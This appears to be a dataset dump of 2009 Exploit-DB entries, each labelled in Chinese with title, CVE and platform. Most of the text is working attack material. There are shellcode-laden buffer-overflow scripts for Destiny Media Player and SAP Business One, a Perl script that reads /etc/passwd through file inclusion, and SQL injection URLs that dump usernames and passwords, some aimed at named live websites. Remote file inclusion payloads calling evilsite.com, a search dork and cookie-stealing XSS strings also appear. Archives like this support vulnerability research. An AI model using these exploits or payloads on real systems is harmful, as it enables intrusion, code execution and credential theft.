QLWD/code_shield huggingface dataset:
标题: MAXcms 3.11.20b - Multiple Remote File Inclusions EDB-ID: 9322 CVE: 2009-3424 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-01 漏洞利用脚本: ===============================================================================================


  [o] MAXcms - Databay Content Management System 3.11.20b Remote File Inclusion Vulnerability

       Software : MAXcms - Databay Content Management System version 3.11.20b
       Vendor   : http://www.databay.de
       Download : http://downloads.sourceforge.net/micro-cms/microcms.zip
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


===============================================================================================


  [o] Vulnerable file


       is_projectPath parameter

        includes/InstantSite/inc.is_root.php

       GLOBALS[thCMS_root] parameter

        classes/class.Tree.php
        includes/inc.thcms_admin_mediamanager.php
        modul/mod.rssreader.php

       is_path parameter

        classes/class.tasklist.php
        classes/class.thcms.php
        classes/class.thcms_content.php
        classes/class.thcms_modul_parent.php
        classes/class.thcms_page.php
        classes/class.thcsm_user.php
        includes/InstantSite/class.Tree.php

       thCMS_root parameter

        classes/class.thcms_modul.php
        includes/inc.page_edit_tasklist.php
        includes/inc.thcms_admin_overview_backup.php
        includes/inc.thcms_edit_content.php
        modul/class.thcms_modul_parent_xml.php
        modul/mod.cmstranslator.php
        modul/mod.download.php
        modul/mod.faq.php
        modul/mod.guestbook.php
        modul/mod.html.php
        modul/mod.menu.php
        modul/mod.news.php
        modul/mod.newsticker.php
        modul/mod.rss.php
        modul/mod.search.php
        modul/mod.sendtofriend.php
        modul/mod.sitemap.php
        modul/mod.tagdoc.php
        modul/mod.template.php
        modul/mod.test.php
        modul/mod.text.php
        modul/mod.upload.php
        modul/mod.users.php



  [o] Exploit

       http://localhost/[path]/includes/InstantSite/inc.is_root.php?is_projectPath=[evilc0de]
       http://localhost/[path]/classes/class.Tree.php?GLOBALS[thCMS_root]=[evilc0de]
       http://localhost/[path]/classes/class.thcsm_user.php?is_path=[evilc0de]
       http://localhost/[path]/modul/mod.users.php?thCMS_root=[evilc0de]


===============================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://mainhack.net ]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 Angela Zhang
       H312Y yooogy mousekill }^-^{ loqsa zxvf martfella
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke

        
===============================================================================================

# milw0rm.com [2009-08-01] URL: https://www.exploit-db.com/exploits/9322
标题: Destiny Media Player 1.61 - '.pls' Universal Buffer Overflow (SEH) EDB-ID: 9321 CVE: 2009-3429 类型: LOCAL 平台: WINDOWS 发布日期: 2009-08-01 漏洞利用脚本: #!/usr/bin/perl
#[+] Bug : Destiny Media Player 1.61 (.pls) Universal Buffer overflow (SEH)
#[+] Author : ThE g0bL!N
#[+] Greetz : ma 3labaliche :D
#[+] Use : open the pls file directly :)
#[+] Note: His0k4 Merci jamais Raditni
##########################################################
 
# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x38".
"\x78\x73\x8a\x83\xeb\xfc\xe2\xf4\xc4\x90\x37\x8a\x38\x78\xf8\xcf".
"\x04\xf3\x0f\x8f\x40\x79\x9c\x01\x77\x60\xf8\xd5\x18\x79\x98\xc3".
"\xb3\x4c\xf8\x8b\xd6\x49\xb3\x13\x94\xfc\xb3\xfe\x3f\xb9\xb9\x87".
"\x39\xba\x98\x7e\x03\x2c\x57\x8e\x4d\x9d\xf8\xd5\x1c\x79\x98\xec".
"\xb3\x74\x38\x01\x67\x64\x72\x61\xb3\x64\xf8\x8b\xd3\xf1\x2f\xae".
"\x3c\xbb\x42\x4a\x5c\xf3\x33\xba\xbd\xb8\x0b\x86\xb3\x38\x7f\x01".
"\x48\x64\xde\x01\x50\x70\x98\x83\xb3\xf8\xc3\x8a\x38\x78\xf8\xe2".
"\x04\x27\x42\x7c\x58\x2e\xfa\x72\xbb\xb8\x08\xda\x50\x88\xf9\x8e".
"\x67\x10\xeb\x74\xb2\x76\x24\x75\xdf\x1b\x12\xe6\x5b\x78\x73\x8a";

my $junk="\x41" x 45224;
my $next_seh="\xEB\x06\x90\x90"; # short jump
my $seh="\xA6\x7B\x41\x00"; # pop pop ret->Destiny.exe

open(myfile,'>>exploit.pls');
print myfile $top.$junk.$next_seh.$seh.$shellcode;

# milw0rm.com [2009-08-01] URL: https://www.exploit-db.com/exploits/9321
标题: PortalXP Teacher Edition 1.2 - Multiple SQL Injections EDB-ID: 9325 CVE: 2009-3148 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-01 漏洞利用脚本: ###########################################################################################################################################
[+] PortalXP - Teacher Edition 1.2 Multiple SQL Injection Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
###########################################################################################################################################

[+] Download : http://sourceforge.net/projects/portalxp/files/portalxp%20-%20teacher%20edition/Version%201.2/PortalXP1-2.zip/download

[+] SQL Injection

 - PoC's

   http://127.0.0.1/calendar.php?id=null+union+all+select+1,2,3,concat_ws(0x3a,email,teacherpass),5+from+teacher--

   http://127.0.0.1/news.php?id=null+union+all+select+1,2,3,concat_ws(0x3a,email,teacherpass),5+from+teacher--

   http://127.0.0.1/links.php?id=null+union+all+select+1,2,3,concat_ws(0x3a,email,teacherpass),5+from+teacher--

   http://127.0.0.1/assignments.php?assignment_id=1+union+all+select+1,2,3,4,concat_ws(0x3a,email,teacherpass),6,7,8,9+from+teacher--


###########################################################################################################################################

# milw0rm.com [2009-08-01] URL: https://www.exploit-db.com/exploits/9325
标题: linkSpheric 0.74b6 - 'listID' SQL Injection EDB-ID: 9316 CVE: 2009-3510 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-30 漏洞利用脚本: ===============================================================================================


  [o] linkSpheric 0.74 Beta 6 SQL Inejction Vulnerability

       Software : linkSpheric version 0.74 Beta 6
       Vendor   : http://dataspheric.com/
       Download : http://sourceforge.net/projects/linkspheric/
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


===============================================================================================


  [o] Vulnerable file

        viewListing.php



  [o] Exploit

       http://localhost/[path]/viewListing.php?listID=[SQL]



  [o] Proof of concept

       http://dataspheric.com/directory/viewListing.php?listID=-52+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,group_concat(userName,0x3a,password),21,22,23,24,25,26,27,28+from+users--
       http://pcmsite.net/links/viewListing.php?listID=-5+union+select+1,2,3,4,5,6,7,8,group_concat(userName,0x3a,password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+users--



  [o] Dork

       "Powered by linkSpheric"


===============================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://mainhack.net ]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 Angela Zhang
       H312Y yooogy mousekill }^-^{ loqsa zxvf martfella
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke

        
===============================================================================================

# milw0rm.com [2009-07-30] URL: https://www.exploit-db.com/exploits/9316
标题: SAP Business One 2005-A License Manager - Remote Buffer Overflow EDB-ID: 9319 CVE: 2009-4988 类型: REMOTE 平台: WINDOWS 发布日期: 2009-08-01 漏洞利用脚本: #!/usr/bin/python
import socket, time


#########################################INFO################################################
# NT_Naming_Service.exe (License Manager 2005 for SAP Business One 2005-A) is               #
# vulnerable to a stack-based buffer overflow allowing for full system compromise by        #
# an unauthenticated user that has TCP/IP access to SAP's license service on TCP port 30000.#
# Mike Arnold ---> mikey27 .::at::. hotmail.com                                             #
############################################################################################


header = ("########################################################################\r\n"
"#    SAP Business One 2005-A License Manager remote overflow PoC    #\r\n"     
"#           Tested on 2005-A (6.80.123) SP:00 PL:06                 #\r\n"
"#                 2005-A (6.80.320) SP:01 PL:34                 #\r\n"
"#              OS: Windows Server 2003 R2 Std/Ent Service Pack 2      #\r\n"
"#             Coded by Bruk0ut - mikey27 .::at::. hotmail.com       #\r\n"
"########################################################################\r\n")


#metasploit windows/exec - notepad.exe x86/shikata_ga_nai 152 bytes
sc = ("\xbf\xd6\x21\x7d\x3b\xda\xdb\xd9\x74\x24\xf4\x33\xc9\x5d\xb1"
"\x20\x31\x7d\x13\x83\xc5\x04\x03\x7d\xd9\xc3\x88\xc7\x0d\x47"
"\x73\x38\xcd\xc3\x36\x04\x46\xaf\xbd\x0c\x59\xbf\x35\xa3\x41"
"\xb4\x15\x1c\x70\x21\xe0\xd7\x46\x3e\xf2\x09\x97\x80\x6c\x79"
"\x53\xc0\xfb\x85\x9a\x0b\x0e\x8b\xde\x67\xe5\xb0\x8a\x53\x02"
"\xb2\xd7\x17\x55\x18\x16\xc3\x0c\xeb\x14\x58\x5a\xb4\x38\x5f"
"\xb7\xc0\x5c\xd4\x46\x3c\xd5\xb6\x6c\xc6\x26\x19\x5c\x30\xc8"
"\xf0\xfa\x37\x4e\xcd\x89\x08\x42\xa6\xfe\x94\xf7\x33\x96\xac"
"\x8e\xbc\xe4\x6d\xfa\x6c\x83\x9d\x70\x88\x0c\x36\x1c\x6f\x38"
"\xc8\x4b\x6f\xda\xbb\x1c\xfb\x40\x34\x83\x67\xa5\xd1\x3b\x0d"
"\xb9\x13")

#JMP ESP 0x773a73fb User32.dll - Server2k3 R2 STD/ENT - SP2
ret = '\xfb\x73\x3a\x77'
giop_header = '\x47\x49\x4f\x50\x01\x00\x01\x00'
buff = giop_header + '\x2f\x5c' * 500 + "A" * 24 + ret + '\x90' * 44 + sc + '\x90' * 384

print (header)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect (('10.0.0.241',30000))
s.setblocking(0)

s.send(buff)
time.sleep(1)
print ("done!")

s.close()

# milw0rm.com [2009-08-01] URL: https://www.exploit-db.com/exploits/9319
标题: PunBB Reputation.php Mod 2.0.4 - Local File Inclusion EDB-ID: 9315 CVE: 2009-2787 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-30 漏洞利用脚本: #!/usr/bin/perl
#[0-Day] PunBB Reputation.php Mod <= v2.0.4 Local File Inclusion Exploit
#Coded By Dante90, WaRWolFz Crew
#Bug Discovered By: Dante90, WaRWolFz Crew
#register_globals = On
#magic_quotes_gpc = On


use LWP::UserAgent;
use HTTP::Cookies;
use strict;

my $EtcPasswd;
my $TransversalDirectory = "./../../../../"; #Transversal Directory
my $LFI = "etc/passwd"; #File Inject
my $HostName = "http://www.victime_site.org/path/"; #Insert Victime Web Site Link

my $Referrer = "http://www.warwolfz.com/";

my $Cookies = new HTTP::Cookies;
my $UserAgent = new LWP::UserAgent(
   agent => 'Mozilla/5.0',
   max_redirect => 0,

   cookie_jar => $Cookies,
  ) or die $!;

sub Local_File_Inclusion{
 my ($Directory,$Command) = @_;
 return "./include/reputation/rep_profile.php?pun_user[language]=${Directory}${Command}%00";

}

my $Get = $UserAgent->get($HostName.Local_File_Inclusion($TransversalDirectory,$LFI));

if ($Get->content =~ /No such file or directory in/i){
 refresh($HostName, "Exploit Filed");
 print " * Error extracting sensible data.\n";

 print " * Exploit Failed                                     *\n";
 print " ------------------------------------------------------ \n\n";
}else{
 $EtcPasswd = $Get->content;
 open ( FILE , ">WaRWolFz.html" ) or die $!;

 print FILE $EtcPasswd;
 close ( FILE );
 refresh($HostName, "File Saved");
 print " * Exploit Successed                                  *\n";
 print " ------------------------------------------------------\n\n";

 system("pause");
}

sub usage{
 system("cls");
 {
  print " \n [0-Day] PunBB Reputation.php Mod <= v2.0.4 Local File Inclusion Exploit\n";
  print " ------------------------------------------------------ \n";

  print " * USAGE:                                             *\n";
  print " * cd [Local Disk]:\\[Directory Of Exploit]\\           *\n";
  print " * perl name_exploit.pl                               *\n";

  print " ------------------------------------------------------ \n";
  print " *         Powered By Dante90, WaRWolFz Crew          *\n";
  print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n";

  print " ------------------------------------------------------ \n";
 };
 exit;
}

sub refresh{
 system("cls");
 {
  print " \n [0-Day] PunBB Reputation.php Mod <= v2.0.4 Local File Inclusion Exploit\n";

  print " ------------------------------------------------------ \n";
  print " * USAGE:                                             *\n";
  print " * cd [Local Disk]:\\[Directory Of Exploit]\\           *\n";

  print " * perl name_exploit.pl                               *\n";
  print " ------------------------------------------------------ \n";
  print " *         Powered By Dante90, WaRWolFz Crew          *\n";

  print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n";
  print " ------------------------------------------------------ \n";

 };
 print " * Victime Site: " . $_[0] . "\n";
 print " * Etc/Passwd: " . $_[1] . "\n";
}

#WaRWolFz

# milw0rm.com [2009-07-30] URL: https://www.exploit-db.com/exploits/9315
标题: MUJE CMS 1.0.4.34 - Local File Inclusion EDB-ID: 9314 CVE: 2009-3508 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-30 漏洞利用脚本: ####################################################################################
[+] MUJE CMS 1.0.4.34 Local File Inclusion Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
####################################################################################

[+] Download : http://sourceforge.net/projects/mujecms/

[+] Local File Inclusion

 - No admin required

 - PoC's

    http://127.0.0.1/path/admin.php?_class=../../../../../../boot.ini%00

    http://127.0.0.1/path/install/install.php?url=../../../../../../../boot.ini


 - Admin required

    http://127.0.0.1/path/admin.php?_htmlfile=../../../../../../boot.ini%00

####################################################################################

# milw0rm.com [2009-07-30] URL: https://www.exploit-db.com/exploits/9314
标题: d.net CMS - Local File Inclusion / SQL Injection EDB-ID: 9312 CVE: 2009-3515 2009-3514 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-30 漏洞利用脚本: ###############################################################################################################################################
[+] d.net CMS (LFI/SQLI) Multiple Remote Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
###############################################################################################################################################

[+] Download : http://sourceforge.net/projects/dnet/

[+] SQL Injection

 PoC's

 - No admin required

    http://127.0.0.1/path/index.php?page=null+union+all+select+1,concat_ws(0x3a,username,password),3,4,5,
6,7+from+cms_security_master+where+id=1--

 - Admin required

    http://127.0.0.1/path/dnet_admin/index.php?edit_id=null+union+all+select+1,concat_ws(0x3a,username,password),3,4,5,
6,7,8,9+from+cms_security_master+where+id=1--&_p=1&type=news

    http://127.0.0.1/path/dnet_admin/index.php?edit_id=1&_p=null+union+all+select+1,2,concat_ws(0x3a,username,password),4,
5,6,7+from+cms_security_master+where+id=1--&type=news

[+] Local File Inclusion

 - PoC

 - Admin required

    http://127.0.0.1/path/dnet_admin/index.php?edit_id=2&_p=2&type=../../../../../../boot.ini%00

###############################################################################################################################################

# milw0rm.com [2009-07-30] URL: https://www.exploit-db.com/exploits/9312
标题: Really Simple CMS 0.3a - 'PT' Local File Inclusion EDB-ID: 9313 CVE: 2009-2792 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-30 漏洞利用脚本: ###########################################################################################
[+] Really Simple CMS 0.3a (pagecontent.php PT) Local File Inclusion Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
############################################################################################

[+] Download : http://sourceforge.net/projects/rscms/

[+] Local File Inclusion

 - Vulnerable code in plugings/pagecontent.php

-----------------------------------
if (!$PT) {
 $PT = 'text';
}
$PTF = "plugings/";
$PTF .= $PT;
$PTF .= ".php";


require_once($PTF);
-----------------------------------

 - PoC

    http://127.0.0.1/[path]/plugings/pagecontent.php?PT=../../../../../../../boot.ini%00

############################################################################################

# milw0rm.com [2009-07-30] URL: https://www.exploit-db.com/exploits/9313
标题: Ultrize TimeSheet 1.2.2 - 'readfile()' Local File Disclosure EDB-ID: 9307 CVE: 2009-3151 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-30 漏洞利用脚本: Ultrize TimeSheet 1.2.2 readfile() Local File Disclosure Vulnerability
Code page  /actions/downloadFile.php

====
<?php
//** This script performs the actual file download

$fileName = $_REQUEST['fileName']; <--!!
$job_id = $_REQUEST['job_id']; <--!!
$fullFile = $config['upload_dir'].$job_id.'/'.$fileName; <--!!

if (file_exists($fullFile))
{
    header("Content-Type: application/octet-stream");
    header("Content-Length: ".filesize($fullFile));

    header('Content-Disposition: attachment; fileName="'.$fileName.'"');

    readfile($fullFile); <--!!
}
else
{
    header("HTTP/1.0 404 Not Found");
    print "<h1>File not found. </h1>";
    print $fileName;
    print "<hr>Please make sure your file paths are correct: {$config['upload_dir']}/{$job_id}/$fileName}<br />";
}

?>
====

Poc
/actions/downloadFile.php?fileName=../config.php

          .___________..______     ____    ____  ___       _______   
           |           ||   _  \    \   \  /   / /   \     /  _____|  
           `---|  |----`|  |_)  |    \   \/   / /  ^  \   |  |  __    
               |  |     |      /      \_    _/ /  /_\  \  |  | |_ |   
               |  |     |  |\  \----.   |  |  /  _____  \ |  |__| |   
               |__|     | _| `._____|   |__| /__/     \__\ \______|   
                                                             
       ___       ______     ___       _______   _______ .___  ___. ____    ____   
      /   \     /      |   /   \     |       \ |   ____||   \/   | \   \  /   /   
     /  ^  \   |  ,----'  /  ^  \    |  .--.  ||  |__   |  \  /  |  \   \/   /    
    /  /_\  \  |  |      /  /_\  \   |  |  |  ||   __|  |  |\/|  |   \_    _/     
   /  _____  \ |  `----./  _____  \  |  '--'  ||  |____ |  |  |  |     |  |       
  /__/     \__\ \______/__/     \__\ |_______/ |_______||__|  |__|     |__|  

# milw0rm.com [2009-07-30] URL: https://www.exploit-db.com/exploits/9307
标题: cmsphp 0.21 - Local File Inclusion / Cross-Site Scripting EDB-ID: 9311 CVE: 2009-3507 2009-3506 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-30 漏洞利用脚本: ###################################################################################################
[+] CMSphp 0.21 (LFI/XSS) Multiple Remote Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
###################################################################################################

[+] Download : http://sourceforge.net/projects/cmsphp/

[+] Local File Inclusion

 - PoC

    http://127.0.0.1/path/modules.php?name=Your_account&mod_file=../../../../../../boot.ini%00

[+] Cross-Site Scripting

 - PoC's

    http://127.0.0.1/path/index.php?cook_user=<script>alert(document.cookie)</script>

    http://127.0.0.1/path/modules.php?name=<script>alert(document.cookie)</script>

###################################################################################################

# milw0rm.com [2009-07-30] URL: https://www.exploit-db.com/exploits/9311
标题: justVisual 1.2 - 'fs_jVroot' Remote File Inclusion EDB-ID: 9308 CVE: 2009-3511 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-30 漏洞利用脚本: ##################################################################################################################
[+] justVisual 1.2 (fs_jVroot) Remote File Inclusion Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
##################################################################################################################

[+] Download : http://www.fh54.de/justVisual/justVisual_1.2.zip

[+] Remote File Inclusion

 - Vulnerable code is everywhere

 - PoC's

   http://127.0.0.1/path/justVisual/sites/site/pages/index.php?fs_jVroot=http://evilsite.com/evilscript.txt%00

   http://127.0.0.1/path/justVisual/sites/test/pages/contact.php?fs_jVroot=http://evilsite.com/evilscript.txt%00

   http://127.0.0.1/path/justVisual/system/pageTemplate.php?fs_jVroot=http://evilsite.com/evilscript.txt%00

   http://127.0.0.1/path/justVisual/system/utilities.php?fs_jVroot=http://evilsite.com/evilscript.txt%00

##################################################################################################################

# milw0rm.com [2009-07-30] URL: https://www.exploit-db.com/exploits/9308
标题: Microsoft Windows XP - 'win32k.sys' Local Privilege Escalation EDB-ID: 9301 CVE: 2009-2653 类型: LOCAL 平台: WINDOWS 发布日期: 2009-07-30 漏洞利用脚本: ////////////////////////////////////////////////////////////////////////////////////
// +----------------------------------------------------------------------------+ //
// |                                                                            | //
// | Microsoft Corporation - http://www.microsoft.com/                          | //
// |                                                                            | //
// | Affected Software:                                                         | //
// | Windows XP Service Pack 2                                                  | //
// | Windows XP Service Pack 3                                                  | //
// |                                                                            | //
// | Affected Driver:                                                           | //
// | Multi-User Win32 Driver - win32k.sys <= 5.1.2600.5796                      | //
// |                                                                            | //
// | Local Privilege Escalation Exploit                                         | //
// | For Educational Purposes Only !                                            | //
// |                                                                            | //
// +----------------------------------------------------------------------------+ //
// |                                                                            | //
// | NT Internals - http://www.ntinternals.org/                                 | //
// | alex ntinternals org                                                       | //
// | 30 July 2009                                                               | //
// |                                                                            | //
// | References:                                                                | //
// | Exploiting Common Flaws in Drivers                                         | //
// | Ruben Santamarta - http://www.reversemode.com/                             | //
// |                                                                            | //
// +----------------------------------------------------------------------------+ //
////////////////////////////////////////////////////////////////////////////////////

Exploit:
http://www.ntinternals.org/win32k/NtUserConsoleControl_Exp.zip
back: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9301.zip (2009-NtUserConsoleControl_Exp.zip)

Description:
http://www.ntinternals.org/index.html#09_07_30

# milw0rm.com [2009-07-30] URL: https://www.exploit-db.com/exploits/9301